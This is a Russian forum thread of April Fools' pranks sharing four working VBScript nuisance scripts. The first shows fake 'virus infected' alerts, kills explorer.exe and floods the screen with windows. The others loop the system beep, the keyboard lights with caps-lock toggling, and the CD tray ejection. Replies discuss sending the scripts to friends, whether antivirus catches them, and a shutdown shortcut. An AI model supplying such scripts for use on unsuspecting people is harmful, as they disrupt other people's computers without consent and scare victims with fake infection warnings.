[Прочее] Очень полезная вещица(прикол)

[Dabrat™]

Близится 1 апреля и нам просто необходимо подойти к этому дню вооруженными =) В этом топике я вас научу создавать скрипты для потехи над своими хейтерами =)
Итак, для создания скриптов нам понадобится обычный блокнот и кривые руки
1 скрипт. Ваша система заражена вирусом!
Данный скрипт после запуска выводит на экран сообщение о том, что ваша система заражена и просит перезагрузить компьютер, а затем запускает много командных строк, калькуляторы, блокноты и многое другое.
Открываем блокнот и вставляем туда следующий код:

PHP код:

on error resume next 
set t=createobject("Wscript.Shell") 
set kill = createobject("wscript.shell") 
kill.run"taskkill /f /im explorer.exe",0
msgbox"Неполадка системы",16,"Error" 
msgbox"Вы заражены вирусом",48,"Windows" 
msgbox"Необходим перезапуск системы",16,"Windows"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help"
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"explorer" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"help" 
t.run"calc.exe" 
t.run"notepad.exe" 
t.run"telnet" 
t.run"help" 
t.run"help" 
msgbox"Сбой системы",16,"Windows" 
t.run"help" 
t.run"help" 
t.run"help" 


Сохраняем это все c расширением .vbs

2 скрипт. Бесконечно пищащий динамик =)
Заставляет бесконечно пищать системный динамик в процессоре компьютера
Опять открываем блокнот и вставляем туда следующий код:

PHP код:

Set S = CreateObject("Wscript.Shell") 
do 
execute"S.Run ""%comspec% /c "" & Chr(7), 0,True" 
loop 


3 скрипт. Мигающая клавиатура
Заставляет мигать лампочки у клавиатуры, а так же делает написанный текст вида: ПрИмЕр ТеКсТа

PHP код:

Set s = CreateObject("Wscript.Shell") 
do 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80
s.sendkeys"{scrolllock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{numlock}" 
wscript.sleep 80 
s.sendkeys"{capslock}" 
wscript.sleep 80 
s.sendkeys"{scrolllock}" 
wscript.sleep 80 
loop 


4 скрипт. Автоматически въезжающий и выезжающий дисковод =)
Заставляет бесконечно въезжать - выезжать дисковод в компьютере

PHP код:

 Set WMPlayer = CreateObject("WMPlayer.OCX.7") 
do
WMPlayer.CdRomCollection.Item(0).Eject() 
loop 


Всем спасибо за внимание.Просьба не удалять тему.
P.s чтобы закрыть скрипт,необходимо в диспетчере задач завершить соответствующий процесс!
[Ссылки могут видеть только зарегистрированные пользователи. ]

[qwerty00700]

ахах) ты лучший

[vova00710]

Как отключать то это всё потом? )))))

[Dabrat™]

Цитата: Сообщение от Dabrat™ P.s чтобы закрыть скрипт,необходимо в диспетчере задач завершить соответствующий процесс!

написано же

[lekss]

Цитата: Сообщение от vova00710 Как отключать то это всё потом? )))))

чтобы закрыть скрипт,необходимо в диспетчере задач завершить соответствующий процесс!

[\Inkognito\]

Норм, достаточно скинуть другу, и готово?)
И еще, антивирусник не будет ругаться?

[Dabrat™]

Цитата: Сообщение от \Inkognito\ Норм, достаточно скинуть другу, и готово?) И еще, антивирусник не будет ругаться?

Да достаточно скинуть,и чтобы друг запустил.Ативирус не ругается(у меня касперский)

[\Inkognito\]

Ясно,спасибо. Опробуем

Ой, чуть не забыл спасибку поставить)
Лови, надеюсь сработает)

[scarpii]

[Ссылки могут видеть только зарегистрированные пользователи. ]

[Александр3433]

Хехе, спасибо).С дисководом вообще coll

[Rf8J1f5]

жестокий троль

Добавлено через 4 минуты
А вот когда комп перезагрузишь,все это уберется?

[Dabrat™]

Цитата: Сообщение от Rf8J1f5 А как узнать как этот процес называется?кому не сложно киньте название

на скрине прекрасно всё видно,смотрите внимательней.

[Александр3433]

Еще есть. Создаем ярлык,прописываем shutdown -s -t 0 жмем далее, потом готово. Когда запустят этот файл,то компьютер отключится

[AFi.]

Заставляет бесконечно пищать системный динамик в процессоре компьютера

ТЫ ПРОСТО КОСМОС ПРОЦЕССОР

[★SEDOI★]

да неплохо но вирус орет на него скрипт. Бесконечно пищащий динамик =)